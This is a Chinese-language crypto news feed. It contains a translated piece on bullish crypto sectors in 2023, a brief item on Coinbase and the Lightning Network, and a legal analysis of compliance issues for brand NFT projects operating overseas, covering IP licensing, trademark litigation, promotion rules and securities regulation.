    原文：《5 Crypto Sectors Flashing Bullish Signs》by Ben Giove 编译：深潮 TechFlow 2023 年的开局颇具戏剧性。银行危机、对中心化交易所的打压以及似乎无穷无尽的监管恐慌——每天都会受到一条新的坏消息的冲击。 然而，加密货币市场已经摆脱了这些担忧。比特币和以太坊在今年的前几个月飙升了 69.1%和 57.8%，分别表现优异，超过了全球所有其他主要资产类别。此外，加密货币内的多个领域仍然显示出强劲的增长迹象。 历史上，持续的加密货币牛市不仅仅是由比特币和以太坊的升值推动，更是由应用程序催化的，例如 2016-2017 年智能合约和 ICO 的兴起，以及 2020-2021 年的 DeFi/NFT 等触发区块空间需求的使用案例。 今天哪些垂直领域正在闪烁着看涨信号，并显示出进入主流市场的强烈迹象？让我们继续深入探讨： 流动性质押衍生品（LSD）最近非常流行，因为我们即将迎来“上海”升级，这个备受期待的以太坊升级，定于 4 月 12 日启动，并可实现 ETH 质押的提款。尽管“上海”还未实施，但 LSD 存款已经在今年迄今为止激增了 21.3%，从 490 万增至 600 万。 短期内，“上海”升级对 ETH 价格的影响尚不清楚。然而，更为确定的是，通过消除技术实施风险，“上海”升级很可能会引发一个“质押超级周期”，这是指在接下来几年中，ETH 质押率将从目前的 15%上升到靠近 PoS 网络平均水平约 60%的水平。 对这一质押超级周期的预期已导致 LSD 发行商的治理代币「如 Lido（LDO）、Rocket Pool（RPL）、StakeWise（SWISE）、Frax（FXS）和 Stader（SD）等」大幅上涨，因为市场预计它们将捕捉到这些资金流入。 此外，提供质押基础设施的资产也从 LSD 的增长中受益，例如 SSV Network，这是一种分布式验证技术（DVT）协议，以及一个流动性贿赂市场运营商RedactedCartel（BTRFLY），传闻中它也将进军 LSD 领域。 随着存款数量的增加，LSD 应该会看到其收入额的显著增长，因为 ETH 价格上涨将导致其收入以 ETH 计量的价值提高。 NFT-Fi（NFT 的 DeFi）是另一个在 2023 年显著增长的领域，已经开始动摇该领域的竞争动态。 随着 Blur 的崛起，NFT 市场格局在 2023 年发生了巨大变化。Blur 凭借创新的激励计划和代币发行，超过 OpenSea 成为该领域的领先市场和集成器。尽管一些人对其可持续性存在疑问，但 Blur 已经为 NFT 生态系统注入了相当大的流动性，像 BAYC这样的受欢迎收藏品总竞拍价值已超过 6190 万美元。 其他市场，如 SudoSwap 和 Caviar 等 AMM，也提供了深入资产类别流动性的创新解决方案，尽管它们尚未在市场上有显著的影响。 借贷是 NFT-Fi 的另一个子行业，已经经历了显著的增长。 2023 年第一季度的贷款发放额从 9540 万美元激增至 4.365 亿美元（环比增长 357.5%），这在很大程度上是由于 NFTfi、Arcade 和 BendDAO 等平台的增长，它们为 NFT 交易者提供了获得流动性或借高杠杆的方式。 尽管 NFT 价格以 ETH 计价今年初仅微幅上涨-Nansen 的蓝筹 10 指数仅上涨了 8.5%——但这种NFT-Fi推动的流动性和杠杆增加应该会在长期内带来回报，因为这将导致资产类别市场结构成熟。随着对JPEG和游戏等替代用例的兴趣增加，NFT-Fi应该会继续增长。 永续 DEX（用户可以交易永续期货合约，即没有到期日的期货合约）被许多人视为 FTX 倒闭后的大赢家，很多人希望加密货币最受欢迎的衍生品类型的交易活动能够转移到链上。 尽管中心化交易所仍占据主导地位，但永续合约 DEX 在市场反弹时已经实现了显著增长。根据 Token Terminal 的数据，与 2022 年第四季度相比，仅有永续合约 DEX 的交易量在 2023 年第一季度同比增长了 77.3%，从 9260 亿美元增至 1.643 万亿美元。 这种增长导致了许多优秀的永续合约协议治理代币的表现优于 ETH，例如 dYdX（DYDX）、GMX（GMX）、Gains Network（GNS）和 Kwenta（KWENTA）等 DEX。 如果价格继续稳定下来，而且流动性重新回到市场，这些 DEX 看起来将在未来几个月继续增长。此外，尤其是 GMX、GNS 和 KWENTA，它们应该会受益于 Layer 2 的采用率增加以及 ARB 和 OP 激励的普及。如果正确使用，这些代币应该能够加深流动性，并刺激这些平台的交易活动。 游戏是加密货币中最有可能吸引新用户和资本的用例之一。 尽管它没有得到这个列表中其他垂直领域的关注，但该行业在 2023 年迄今为止表现出了强大的潜力，类似 MAGIC、IMX、RON 和 GALA 等游戏代币今年迄今表现优异，超过了 ETH。 游戏行业内有许多积极的催化剂，可能对这种表现做出了贡献，例如在 Treasure 的情况下的 Arbitrum 代币发行、Immutable 宣布 zkEVM、RON 质押的启动等。 其他事件，如游戏开发者大会（GDC）和 Epic Games 宣布支持 20 个具有加密元素的游戏，也可能为该行业的增长热情做出了贡献。 随着备受期待的游戏推出，如卡牌游戏 Parallel、自动战斗 RPG Illuvium、第一人称射击游戏 Deaddrop 和 Shrapnel 以及全链上 MMO 游戏 Realm 和 Influence 将继续在 2023 年推出其发行版，并且未来的比赛和 UX 改进（如账户抽象）都有望在未来几个月内帮助游戏行业继续缓慢而稳步地发展。 On-Chain Treasuries是另一个正在崛起的 DeFi 领域，与此前的 DeFi 夏季类似，都是在零利率环境下开始的。当时，以双倍、三倍、四倍或甚至五倍计价的回报率成为了资本饥渴世界中的一片绿洲。虽然这些回报率是一种幻象，并最终被证明是不可持续的，但它们还是吸引了大量资本涌入 DeFi 试图实现这些回报。 如今，DeFi 面临着相反的问题，Meatspace 中的美国国债的利率已经超过了最安全协议的农场收益（风险调整后）。此外，像 USDT、USDC 和 DAI 这样的大型稳定币不向持有者支付任何利息，增加了链上持有现金的机会成本。 出现了几种解决方案来解决这个问题，例如 Ondo Finance（最近还有 Open Eden）提供了从 DeFi 内部访问代币化的美国国债的方法。 尽管访问这些产品需要跨过 KYC/AML 的障碍，并且仅限于高净值投资者，但它们仍然找到了产品市场适配性。Ondo 的 OUSG 已经吸引了 6520 万美元的 TVL。 如果利率保持在 0%以上，稳定币继续不提供收益，代币化国债市场可能会继续其迅猛增长轨迹，并渗透到全球最大的金融市场之一。 有许多加密货币领域值得密切关注。流动抵押、加密游戏、NFT-Fi、永续 DEX 和链上国债等只是一些表现出有前途的子行业，在 2023 年初显示了增长迹象。 今年才刚刚开始，市场的走势还不确定-很多事情会发生变化。但是，现在是开始关注这些领域的时候了，加密货币即将再次变得有趣起来。  ( 3 min )
    Coinbase CEO: 计划集成比特币闪电网络
    PANews 4月9日消息，Coinbase首席执行官Brian Armstrong在推特上回应网友称，比特币闪电网络很棒，Coinbase计划集成它。  ( 1 min )
    品牌 NFT 项目在境外运营的法律合规事宜
    继前 21/22 年 NFT大爆发之后，我们看到 PFP NFT 业内已经建立了以 ABCD（Azuki、BAYC、Clonex Doodles）为标杆的 Web3 IP。同时我们也看到 Web2 的大品牌从NBA Top Shots 开始陆续进场，如运动品牌 Nike、Adidas，奢侈品牌 Gucci，豪华汽车品牌 Porsche，以及最近的星巴克等等。大品牌目前阶段都在积极探索下一代商业新范式，打造品牌新的增长飞轮。由于大量的品牌 NFT 项目运营和应用场景都发生在境外，因此本文将重点关注品牌 NFT 项目在境外运营的法律合规事宜。 （from Messari Report Crypto Theses For 2023） 正如 @Starzq 总结的那样 [1]，品牌进入 Web3 有两种方式：（1）从高到低，先 NFT 再产品，即像 Azuki 这样的顶级 Web3 IP，先从 NFT 构建高端 Image，然后再拓展到时尚、潮流的具体产品上（如动漫、音乐、服饰等），从而触达到规模更大的年轻、时尚用户人群；（2）从低到高，先产品再 NFT，即像 Nike、星巴克这样的顶级大众消费品，在其广大消费用户以及忠实用户的基础上推出 NFT，一方面为其用户创造价值并带来个性化的独特数字体验，一方面也能帮助品牌升级迭代，打造增长飞轮。 深度挖掘一下星巴克的 Odyssey NFT项目，就能够发现以其咖啡产品、咖啡用户为核心，构建出 collect to earn 模式，再叠加会员数据上链之后与商业世界打通的 airdrop to earn 模式，确实能够为品牌的商业化带来多层的增长飞轮。Starbucks Odyssey项目为目前品牌进入 NFT 提供了全新的商业范式。 了解了品牌逐渐进入 Web3 的趋势之后，我们来看看什么是 NFT，以及 NFT 的法律性质。 NFT 是“非同质化代币”（Non-Fungible Token）的简称，是现实资产或数字资产（以下简称“底层资产”）通过区块链技术生成的加密数字凭证，用以记录底层资产生成的链上数字资产的所有权，具有独一无二、不可替代、不可分割、可编程性、可追溯性、永久保存等特性。相比之下，比特币、以太坊等这类虚拟货币属于“同质化代币”（Fungible Token），互相之间不存在质的差别。 NFT 是底层资产的链上数字映射，就像一个区块链上的数字容器，它具有什么属性取决于你往这个数字容器里面装了什么。“Mint 上链”或“铸造”指通过区块链生成 NFT 的过程。从技术角度来讲，首先需要将 NFT 底层资产的文件资源（可以包括图片、视频、音频等）上传到 IPFS 等服务器获取 URL，然后添加 NFT 所需要包含的元数据（名称、描述、图像、视频、属性）并生成哈希，最后选择区块链并通过智能合约生成NFT。 我们可以通过 Etherscan.io 查看到在 The Starbucks Siren Collection #1339 NFT 中，元数据就包含了如下描述、名称、图片、视频、属性等相关信息。 （from https://API.niftygateway.com/starbucks-odyssey-siren-collection/1339/） 2.2 NFT 的法律概念 NFT 本身属于一种数字商品，是一项虚拟资产，法律效果表现为 NFT 虚拟资产的所有权。在立法层面，我国《民法典》为了顺应互联网时代的趋势，在其第一百二十七条，将“数据、网络虚拟财产”纳入了法律的保护范围。《民法典》第一百二十七条：法律对数据、网络虚拟财产的保护有规定的，依照其规定。但相关具体虚拟财产的立法有待进一步完善。 在 2022 年 4 月 20 日杭州互联网法院审理的“NFT 侵权第一案”[2] 中，法院也认为：“NFT 交易模式本质上属于以数字化内容为交易内容的买卖关系，购买者所获得的是一项财产权益，并非对一项数字财产的使用许可，亦非对一项知识产权的转让或许可授权，NFT 数字作品交易对象是作为数字商品的数字作品本身，交易产生的法律效果亦表现为财产权的转移。” 2022 年 3 月，英国高等法院在 Lavinia Deborah Osbourne v (1) Persons Unknown (2) Ozone[2022] EWHC 1021 (Comm) 一案 [3] 的裁判中，认定 NFT 在英国属于私人财产（legal property in the English courts），并认为虚拟资产将被视为位于所有者的住所地。以上对于 NFT 认定成为一项重要的判例，在该案中，原告拥有的存于被告 Opensea 钱包中的 NFT 失窃，由此起诉并要求 OpenSea 为追踪盗窃者账号提供必要的信息与协助。法院最终认定 NFT 为一种英国法下的合法财产并可以获得禁令保护。 但是拥有 NFT 虚拟资产的所有权，并不代表拥有底层资产（通常是现实作品或数字作品，一般为受著作权法保护的客体）的著作权，所以要严格区分 NFT 的所有权与底层资产的著作权。（将在下面详细分析）由于著作权和版权两个概念表述大致统一，根据《著作权法》第 62 条规定：“本法所称的著作权即版权。”本文统一采用“著作权”的表述。 一般来看，品牌都是通过与 NFT 发行方合作的方式发行并运营品牌NFT 项目的（两者合并成为 NFT 项目方），我们可以看到与星巴克合作的是Forum3（美国）、与保时捷合作的是 road2 dreams GmbH（德国），与Rihanna 合作的是 anotherblock（美国），与 Bilibili 合作的是 CryptoNatty（新加坡）。这么做的原因是，一方面能在一定程度上帮助品牌规避虚拟资产的相关监管，避免带来不必要的合规负担；另外一方面也能通过 Web3 资深从业者的帮助，以更专业的角度帮助品牌切入到 Web3 NFT 的世界。 由于 NFT 构筑在公链上，那么品牌 NFT 项目从一诞生开始就链接了全球市场。所以在了解了品牌如何进入 NFT，以及 NFT 是什么之后，就需要了解品牌 NFT 项目境外运营的法律合规事宜。这些事宜主要包括：IP 授权管理，知识产权（商标）侵权，海外营销推广和消费者保护，NFT 境外监管合规，以及被 SEC 认定为证券的风险等。 品牌方进入 NFT 的主要目的是寻找新的商业范式，并结合 Web3 去中心化、数据自主、主权个人等特征，为其 NFT 持有者提供一系列独一无二的体验及权益。因为品牌方必然附带自身的产品以及品牌文化，那么品牌方的目的并不一定是需要通过 NFT 社区驱动去构建共识或者 Vibe，而是可以通过结合品牌方的会员体系，一方面培养更多的忠实客户，一方面吸引更多的新客户。以下为品牌方在项目运营中为 NFT 持有者提供权益的路径，主要是围绕 IP 的授权展开。 4.1 对于 NFT 发行方的 IP 授权 首先，品牌方会与 NFT 发行方签订合作协议，约定 NFT 的具体合作发售事项，同时双方还会签订（或包含） IP 授权条款，明确品牌方享有或经授权享有 NFT 底层作品的完整知识产权（主要包括著作权与商标）。如果拟将品牌方与艺术家联名创作的底层作品上链生成 NFT，那么尤其要注意该联名底层作品的权利归属。 我们来看铸造 NFT 在著作权法上的效果。按照作品著作权的权利表述，并结合我国 2020 年《著作权法》将“数字化”纳入复制权的定义中，明确其为复制作品的手段之一。那么铸造 NFT 就是行使了作品的复制权之后形成的作品复制品 NFT，属于著作权法上的“复制”，与一般在网络空间的复制行为的区别是 NFT 具有独一无二、不可替代、永久保存等特性。同时，NFT 的铸造过程是通过合约在链上进行交互的，NFT 始终置于区块链网络中全网可见，属于著作权法上的“信息网络传播”，应受信息网络传播权的保护。 所以，若 NFT 发行人在没有获得著作权人充分授权的情形下铸造 NFT，可能构成对著作权人复制权、信息网络传播权的侵害。NFT 发行方需要取得作者的完整授权才能做到 NFT 的合规发行。如 The Starbucks Siren Collection #1339 NFT 中，包含的是以下图片以及以下 4 秒动图的视频，那么 NFT 发行方就需要从著作权权利人（假设是星巴克公司）手中取得该图片以及 4 秒动图的视频的著作权。否则就存在著作权侵权的风险。 （from https://API.niftygateway.com/starbucks-odyssey-siren-collection/1339/） 我们看到的国内的“NFT 侵权第一案”中，也是因为 NFT 发行人未经过底层资产著作人的授权，擅自发行了该底层作品的 NFT，而造成了侵权行为，结果是法院要求 NFT 平台将侵权 NFT 打入区块链黑洞地址，同时赔偿权利人相关损失。 昆汀・塔伦蒂诺于 2021 年将其执导的著名电影《低俗小说》中的未剪辑场景、原创手写剧本、导演本人的独家音频铸造成 NFT，并在 OpenSea 上拍卖。《低俗小说》版权方米拉麦克斯影业随后在 2021 年 11 月向昆汀提起诉讼，指控昆汀想从他“没有完全权利”的作品中获利，此举违反了他与米拉麦克斯影业多年前签署的一份版权转让协议，侵犯了米拉麦克斯影业的著作权 [4]。目前，此案已经和解，未能从法院看到额外信息。 在厘清品牌方与 NFT 发行方之间的 IP 授权之后，就需要来厘清与 NFT 持有人之间 IP 授权。 拥有 NFT 虚拟资产的所有权，并不代表拥有底层作品（通常是现实作品或数字作品，一般为受《著作权法》保护的客体）的著作权，所以要严格区分 NFT 的所有权与著作权。至于持有的 NFT 到底拿到了什么著作权，取决于著作权人是否给予了授权，给予了何种授权。NFT 项目方通常会在其官网，发布具体的Terms & Conditions或NFT Licensing Agreement，来告诉 NFT 持有者，除了 NFT 的虚拟资产所有权，他们还拿到了什么样的著作权权益。 我们可以通过 Starbucks OdysseyTerms [5] 看到星巴克基本上没有给予 NFT 持有者任何授权，有也只是非商业目的的个人使用，并且是可撤销、非独家、不可转让、不可转授权的许可。同时，Terms 明确表示持有 NFT 并不表示享有底层作品的任何知识产权等权益。 （from Starbucks OdysseyTerms） 我们在大多数品牌 NFT 的 Terms& Conditions都看到类似的无实际意义的授权，这是因为品牌方发行 NFT 更多的目的是赋予 NFT 持有者自身品牌的产品体验，而非像 PFP NFT 那样，需要更多地授予社区成员权益，通过共建打造出社区的共识以及 Vibe。 我们可以看到 Azuki 在其NFT Licensing Agreement前言部分明确表示：“NFT 持有者拥有 NFT 的所有权，但 NFT 持有者并未获得艺术作品、品牌及相应的知识产权，除非授权协议明确授权。”此外，就 Azuki 的商业授权条款而言，著作权人明确表示：“给予非排他性、全球性、免版税、可转授权（但仅限于协助您进行商业用途的服务商）的授权，用于为您的 Azuki NFT 出于任何商业用途使用、复制和展示。”但是需要注意的是，著作权人并不会将任何关于 Azuki 的商标使用权授权给持有人，如需使用的，需要著作权人的书面同意。 （from azuki.com/zh/license） 4.3 NFT 持有人权益（Utility）的授权管理 品牌方与 NFT 发行方可以通过Terms & Conditions或NFT Licensing Agreement将能够确定的授权固定。但是对于通常在未来实现的、可能会出现变动的权益（Utility）或者规划的 Roadmap，NFT 项目方一般会通过在官网发表声明的形式体现，即为 NFT 持有者进行何种赋能，或 NFT 项目的整体发展方向 Roadmap。我们可以看到 Starbucks Odyssey 的官网上有关于 NFT 持有者权益的一系列声明。 （from https://waitlist.starbucks.com/#/learnmore） 再来看在 Donald Trump Digital Trading Card NFTs 中，Donald Trump 为其 NFT 进行了强大的赋能，抛开私人见面会、高尔夫课程、ZOOM 一对一视频、海湖庄园鸡尾酒会等等，最主要的是能参加 Donald Trump 的迈阿密 Gala 晚宴，这是众多美国社交狂人所需要的，只需 4500 美元。 （from https://collecttrumpcards.com/） 五、知识产权（商标）侵权 NFT 的兴起带火了整个艺术圈，也有越来越多的品牌方进军 NFT。由于品牌方一般都已经形成自己的产品矩阵，以及形成自身的品牌文化，而且一般都对外享有耳熟能详的商标，那么在这个火热的市场中，不可避免地会存在品牌方知识产权（商标）的侵权行为。 2022 年 1 月 14 日，奢侈品品牌爱马仕（Hermès）针对美国艺术家 Mason Rothschild 提起了商标侵权诉讼，爱马仕认为 Mason Rothschild 的 NFT 作品“MetaBirkins”侵犯了其自 1984 年即持有的“Birkin”商标，并通过销售 NFT 从未经授权使用“Birkin”商标中获利 [6]。Rothschild 则认为其“MetaBirkins”NFT 作品是他创作的数字艺术品，旨在反映当时时尚界流行的无皮草倡议，其对“MetaBirkins”的使用是在数字产品上的使用，是艺术表达，并非在实体产品上使用。根据美国宪法第一修正案，他对“MetaBirkins”的使用行为属于其言论自由。 2023 年 2 月 8 日，陪审团裁定 Rothschild 未经授权的“MetaBirkins”NFT 作品存在混淆消费者的可能，构成商标侵权、商标淡化和域名抢注，并裁定向爱马仕支付赔偿金 13.3 万美元 [7]。虽然这是一个一审的案件，还存在上诉改判的可能，但是这确实是目前 NFT 商标侵权第一案，该案裁判结果将会对后续 NFT 商标侵权案件产生重要的影响。 （from Hermѐs International inHermès International, et al. v. Mason Rothschild(1:22-cv-00384-JSR)） 耐克于 2022 年 2 月 3 日对电商平台 StockX LLC 提起诉讼，称 StockX 未经其授权及许可，使用标有耐克商标的库存运动鞋铸造 NFT，并对该等 NFT 进行推广销售，让消费者误以为其 NFT 已经获得了耐克的授权。StockX 平台则认为，其发售 NFT 的目的在于证明其库存运动鞋的所有权，NFT 中展示的有关耐克商标仅仅是为了销售实体运动鞋，仍属于合理使用的范畴。目前，该案件仍在审理中。 无论是在 NFT 发售之前的预热阶段，还是在 NFT 发售完之后的持续运营阶段，可能都会对 NFT 进行一定程度的推广，包括但不限于在推特、Discord、Telegram 等社交媒体上发布利好新闻、邀请 KOL 推介等等一系列营销推广手段。需要注意的是这种海外推广是针对全球范围的，所以品牌方就需要遵守主要法域广告法、消费者保护法等相关法律合规事宜。 美国联邦贸易委员会（The Federal Trade Commission, FTC）有权管辖市场上显失公平或具有欺诈性的行为，包括欺诈性广告。根据美国《联邦贸易委员会法案》的相关规定，网络付费推广必须在促销推文中做出明确的披露。如果 KOL 在营销推广 NFT 时，并未披露自己与项目运营方的有偿商务合作，那么就可能违反《联邦贸易委员会法案》，面临行政处罚。 此外，美国证券交易委员会 (SEC) 有权要求证券型虚拟资产的推广方披露其报酬。2022 年 10 月 3 日，SEC 宣布对金・卡戴珊 (Kim Kardashian) 提出指控，称其在社交媒体上推广 EthereumMax 平台并兜售证券型虚拟资产（Crypto Asset Security），但未披露推广所收到的 25 万美元报酬。此后金・卡戴珊同意支付 126 万美元与 SEC 达成和解 [8]。此外，在 2023 年 3 月 22 日，SEC 指控 Justin Sun 策划了一项向名人支付费用以兜售证券型虚拟资产 TRX 和 BTT 的计划，并向公众隐瞒名人获取报酬的信息，造成诱导假象，部分名人向 SEC 和解 [9]。 随着 NFT 市场的普及和增长，相信后续各个司法辖区都会出台相关营销推广以及消费者保护的法律法规，将进一步提高 NFT 项目方的合规成本。 NFT的本质是一种非同质化的代币，与代币背后的资产属性挂钩，属于虚拟资产的一个类别。在全球主要司法辖区尚未对虚拟货币形成明确监管框架的情况下，更不用说专门针对 NFT 的监管框架了。但是无论如何，还是需要结合 NFT 本身的特性及应用场景，来推定可能适用的法律法规，如在美国法下 NFT 本身是否构成证券，NFT 项目方发行的 Token 是否构成证券等。 截至目前，美国针对虚拟资产行业尚未形成统一的监管框架，呈现“多头监管”的态势，主要在联邦和州这两个层面进行监管，并由以 SEC 为代表的金融监管机构，通过“Regulation by Enforcement”的形式对市场进行规范。对于 NFT 而言，在美国法项下最核心的法律问题之一是其是否构成《证券法》下的“证券”。一旦 NFT 被认定为“证券”，那么对于 NFT 的发行、出售、交易和清算都将受到 SEC 严格的监管并需要取得相应的资质或牌照。 同时，美国商品期货交易委员会（Commodity Futures Trading Commission, CFTC）基本上将所有虚拟资产都纳入了其管辖“商品”的定义，那么就可能包括 NFT。CFTC 定义虚拟资产（Digital Asset）是任何可以电子方式存储和传输，并具有相关所有权或使用权的资产。虚拟资产是资产价值的数字表示，包括作为交换媒介、记账单位、价值存储，基本上所有虚拟货币，都属于“商品”[10]。这使 CFTC 有能力监管虚拟资产现货市场上的欺诈和市场操纵等行为，但是，CFTC 没有能力对不涉及保证金、杠杆或融资的虚拟资产现货交易行为进行监管。 此外，美国作为知识产权保护、消费者保护、反洗钱和反恐融资合规要求较高的司法辖区，NFT 项目在美国运营将面临较高的合规负担。 即将于 2024 年初生效的“加密资产市场监管法案”（The Markets in Crypto-assets Regulation，MiCA）旨在为欧盟创建一个全面、统一的虚拟资产市场监管框架，以确保消费者保护、市场完整性等，同时为了避免影响货币与金融稳定，当中还包含打击市场操纵和反洗钱、反恐怖主义融资和其他犯罪活动的措施。 但是 MiCA 不适用于 NFT，因为其价值无法被市场同一手段或者同一资产来衡量。除非 MiCA 根据实质重于形式的原则（a substance-over-form approach）认为 NFT 的特征或用途应该被认定为虚拟资产。欧盟委员会将被授权在 MiCA 生效 18 个月后提交一份报告，以评估监管 NFT 潜在可能。 香港证券及期货事务监察委员会（SFC）在2022年6月6日发布提醒投资者注意NFT风险 [11]，表示如果NFT是收藏品（艺术品、音乐或影片）的真实数字表示，与其相关的活动不属于SFC的监管范围。然而有些NFT跨越了收藏品与金融资产之间的界限，可能具有《证券及期货条例》监管的“证券”的属性，因此将受到监管。在《2022条列草案》中规定，在游戏内使用的NFT不属于虚拟资产。 因此NFT将分为3种情况来处理：（1）具有证券属性的NFT，将作为证券型代币受到SFC监管；（2）具有管理、投票等治理属性的NFT，将作为虚拟资产受到SFC监管；（3）游戏内的NFT或是电子商品和收藏品，将既不在SFC《证券及期货条例》的监管范围，也不在财库司《2022条列草案》的监管范围，该种NFT将作为普通虚拟商品，受传统商品交易相关法律约束。 新加坡金管局（MAS）并未出台专门针对 NFT 的相关法律法规。在 MAS 回复议会关于是否监管 NFT 活动中表示：“MAS 在评估资产或产品是否应属于 MAS 的监管范围时，会考虑其本质。鉴于目前 NFT 的代表的大多数是数字艺术品/收藏品，因此 MAS 暂不监管 NFT。这也是大多数主要司法管辖区所采取的立场。最根本的是，对于 NFT 等这类虚拟资产，MAS 采取技术中立的立场，并“穿透”NFT 的内部特征，以确定其是否受 MAS 监管。如果 NFT 具有《证券和期货法》(SFA) 规定的资本市场产品的特征，则它将受到 MAS 监管要求的约束。例如，如果 NFT 的结构代表对上市股票组合的权利，它将像其他集体投资计划一样受到招股说明书要求、许可和商业行为要求的约束。”[12] 在美国法项下，普遍认为 Token 这类虚拟货币尚未被全面认定为“证券”的情况下，NFT 这类虚拟资产更加不会被认定为证券。但是也存在因 NFT 本身项目的运营状况、NFT 的底层资产的原因会被认定为“证券”的可能。 尽管 NFT 被认为是独一无二的数字资产，区别于同质化的代币以及证券，但是一些 NFT 项目确实在外观上能够满足上述豪威测试的标准。当然，除了 NFT 项目外观上本身能够满足豪威测试外，SEC 企业融资部的 William Hinman 曾强调了判断某些同质化代币是否是证券的判断标准 [13]，可以参照以下一些因素： NFT 的销售方式。在确定交易是否符合豪威测试第 3 条（该投资有合理的期待利益）时，还需考虑 NFT 的销售方式。如果 NFT 项目是针对公众发行，并且承诺回报或者立刻变现的，那么该项目的投资属性就远远大于收藏属性。公众的认知是其能通过被动地投资 NFT 后立刻流通变现，而非是作为一位资深收藏家投资于一个在区块链上独一无二的数字收藏品。该种交易更像是证券的销售，可能在销售一开始就被认定为证券。 NFT 及底层资产的控制权。在确定交易是否符合豪威测试第 4 条（期待利益来自第三人的努力）时，还需要考虑 NFT 项目方对 NFT 及底层资产的控制权。我们在诸多 NFT 项目的Terms & Conditions看出，NFT 项目方基本掌握所有 NFT 底层作品的著作权、商标、专利等知识产权。如果 NFT 项目方保留其对 NFT 的部分控制权，并且能够通过自身来影响二级市场，或能够参与影响 NFT 价值的活动的（如其在 NFT 出售后依然负责项目的网络开发、改进、品牌运行和推广等工作，特别是 NFT 的持有者也期望通过项目方的运营来增加 NFT 的价值）。在这种情况下，期待利益将基本完全取决于 NFT 项目方。因此，这种交易的本质看起来更像证券，而不是数字收藏品。 在 Friel v. Dapper Labs 一案中，2021 年 5 月 12 日，NBA Top Shot NFT 的发行方 Dapper Labs，Inc. 被一位名为 Jeeun Friel 的 NFT 用户起诉，指控其出售的 NFT 为未注册的证券。该案有望成为 NFT 是否会被认定为“证券”的第一案，但是在最近关于该案的一系列动议来看，法官表示：“虽然本案是首次将豪威测试应用于 NFT 的发行和销售，但法院承认 NFT 项目是否属于“证券”还是需要根据事实一一判断的，并表示关于本案的裁判仅仅适用于本案本身，不一定有参考意义。”[14] 据彭博社报道，2022 年 10 月 11 日，SEC 正在调查 Yuga Labs（BAYC 无聊猿项目的开发公司），关于其发行的 NFT 系列以及 ApeCoin（$ APE）代币是否应该纳入到证券的范畴，是否需要遵循类似于证券的相关法律法规。此后，Yuga Labs 也态度良好地表示：作为该领域的领导者，我们将全力配合 SEC 的调查。我们希望和监管机构合作，定义和塑造蓬勃发展的加密生态系统。Yuga Labs 拥有一系列的产品矩阵，包括头像类 PFP NFT 项目：Bored Ape Yacht Club、Mutant Ape Yacht Club、Meebits 和 CryptoPunks；代币类的项目：数字货币 ApeCoin（$ APE）；以及元宇宙项目：Otherside。目前尚不清楚 Yuga Labs 的哪些项目正在接受调查。 一些音乐版权 NFT，可能存在被认定为证券的风险。在 Web3 音乐赛道中，有一个细分领域是音乐版权 NFT（以 Royal 为代表）。Royal 将一首歌曲的部分版权铸造成 NFT，对外销售。虽然音乐歌曲的艺术属性是非常强的，但是来套用豪威测试的标准：公众通过金钱的投资持有该音乐歌曲版权的 NFT，期待通过被动的投资而通过第三人（歌手或者经纪公司等）的努力获得歌曲版权的收益。 （from royal.io） 再来看英国著名的摇滚歌星 David Bowie 的资产证券化项目，其将在 1990 年以前录制的 25 张唱片的预期版权（包括 300 首歌曲的录制权和版权）的授权许可费证券化，并于 1997 年发行了 Bowie Bonds，这是将版权资产证券化的一种形式，和我们现在的音乐版权 NFT 有多少大区别？ 品牌方试图通过 PFP 的叙事进入 NFT 市场，往往非常壮烈。我们看到以星巴克为首的品牌方在打造更多基于 Loyalty 的用例，这种结合品牌会员体系 Open Loyalty [15] 的模式，可能就是品牌 NFT 市场的下一个叙事。但是无论如何，在品牌方疯狂操作增长飞轮 to the moon 的同时，请注意品牌 NFT 项目在境外运营的法律合规事宜。 ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。欢迎联系 WX: taxman001 一起学习天天向上。 REFERENCE: [1] 星巴克对商业世界的 3 点深层次影响 https://Twitter.com/starzqeth/status/1612253577111810053 [2] NFT 侵权第一案，用户发布侵权 NFT 作品，“元宇宙”平台要担责吗？杭州互联网法院判了 https://mp.weixin.qq.com/s/Wk_EXaySGgsn-t8 MeIRnUg [3] Dorsey & Whitney LLP, Transcending the Challenges of Crypto Assets https://www.dorsey.com/newsresources/publications/client-alerts/2022/07/transcending-the-challenges-of-crypto-assets [4] Quentin Tarantino settles NFT lawsuit with Miramax https://www.theverge.com/2022/9/9/23344441/quentin-tarantino-pulp-fiction-nft-miramax-lawsuit-settled [5] STARBUCKS ODYSSEY Terms and Conditions https://starbucks.promo.eprize.com/passport/public/fulfillment/rules.PDF [6] Hermes International et al v. Rothschild, No. 1:2022 cv00384 (S.D.N.Y. 2022). https://www.documentcloud.org/documents/21181175-hermes-international-vs-mason-rothschild [7] Landmark Decision in Trade Mark Trial as Hermes Wins Over "METABIRKIN" NFTs https://www.matheson.com/insights/detail/landmark-decision-in-trade-mark-trial-as-hermes-wins-over-metabirkin-nfts [8] SEC Charges Kim Kardashian for Unlawfully Touting Crypto Security https://www.sec.gov/news/press-release/2022-183 [9] SEC Charges Crypto Entrepreneur Justin Sun and his Companies for Fraud and Other Securities Law Violations https://www.sec.gov/news/press-release/2023-59 [10] Digital Assets, CFTC https://www.cftc.gov/digitalassets/index.htm [11] SFC reminds investors of risks associated with non-fungible tokens https://apps.sfc.hk/edistributionWeb/gateway/EN/news-and-announcements/news/doc?refNo=22 PR34 [12] MAS, Reply to Parliamentary Question on Regulation of NFT Activities https://www.mas.gov.sg/news/parliamentary-replies/2022/reply-to-parliamentary-question-on-regulation-of-nft-activities [13] Digital Asset Transactions: When Howey Met Gary (Plastic) https://www.sec.gov/news/speech/speech-hinman-061418#_ftn5 [14] Suit Alleging NBA“Top Shot”NFTs Were Securities Survives Motion To Dismiss https://www.skadden.com/insights/publications/2023/02/suit-alleging-nba-top-shot-nfts-were-securities-survives [15] NFT 市场的下一个新叙事：Open Loyalty https://foresightnews.pro/article/detail/28815  ( 8 min )

  • Open

    【英文长推】BAYC 生态系统是否过度稀释？
